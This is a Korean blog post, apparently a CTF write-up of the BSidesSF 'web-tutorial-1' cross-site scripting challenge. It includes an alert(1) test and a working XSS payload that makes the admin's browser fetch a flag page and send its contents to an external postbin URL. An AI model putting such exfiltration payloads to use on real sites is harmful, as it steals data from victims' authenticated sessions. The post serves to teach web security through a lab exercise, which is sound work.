본문 바로가기
CTF

[BSidesSF CTF] web-tutorial-1

by skyepodium 2022. 6. 4.

1. 개요

XSS(크로스 사이트 스크립팅) 문제

 

2. 분석

1) 확인

/xss-one-flag 경로에 flag가 있으며 제출하는 모든 페이로드는 어드민에게 전달된다고합니다.

 

2) <script>alert(1)</script>

코드를 입력했을때 기본적인 필터링이 안되어있음을 확인합니다.

3) 시나리오

- 어드민이 fetch 함수를 통해 /xss-one-flag 경로를 요청하도록 합니다.

- fetch 결과를 문자열로 만듭니다.

- 문자열로 만든 결과를 다른 서버로 전송합니다.

 

3. exploit

1) 서버생성

문제의 프로토콜이 https 이기 때문에 https 서버가 필요합니다. (https -> http 요청 불가)

 

서버 구축해도 되는데 저는 없어서 postbin에서 클릭 한번으로 만들었습니다.

https://www.toptal.com/developers/postbin/

 

2) 스크립트 작성

<script>

fetch("/xss-one-flag")
  .then(r => r.text())
  .then(t => fetch("https://www.toptal.com/developers/postbin/1654311461940-6104704961180?flag="+t))

</script>

 

3) 확인

'CTF' 카테고리의 다른 글

[SECCON Beginners CTF 2022] Util  (0) 2022.06.05
[BSidesSF CTF] Sequels: A New Bug  (0) 2022.06.05
[n00bzCTF] tcpdump  (0) 2022.06.04
[BCACTF 3.0] My New Friend  (0) 2022.06.04
BYU CTF 2022 - Social Media [크로스사이트 스크립팅]  (0) 2022.05.29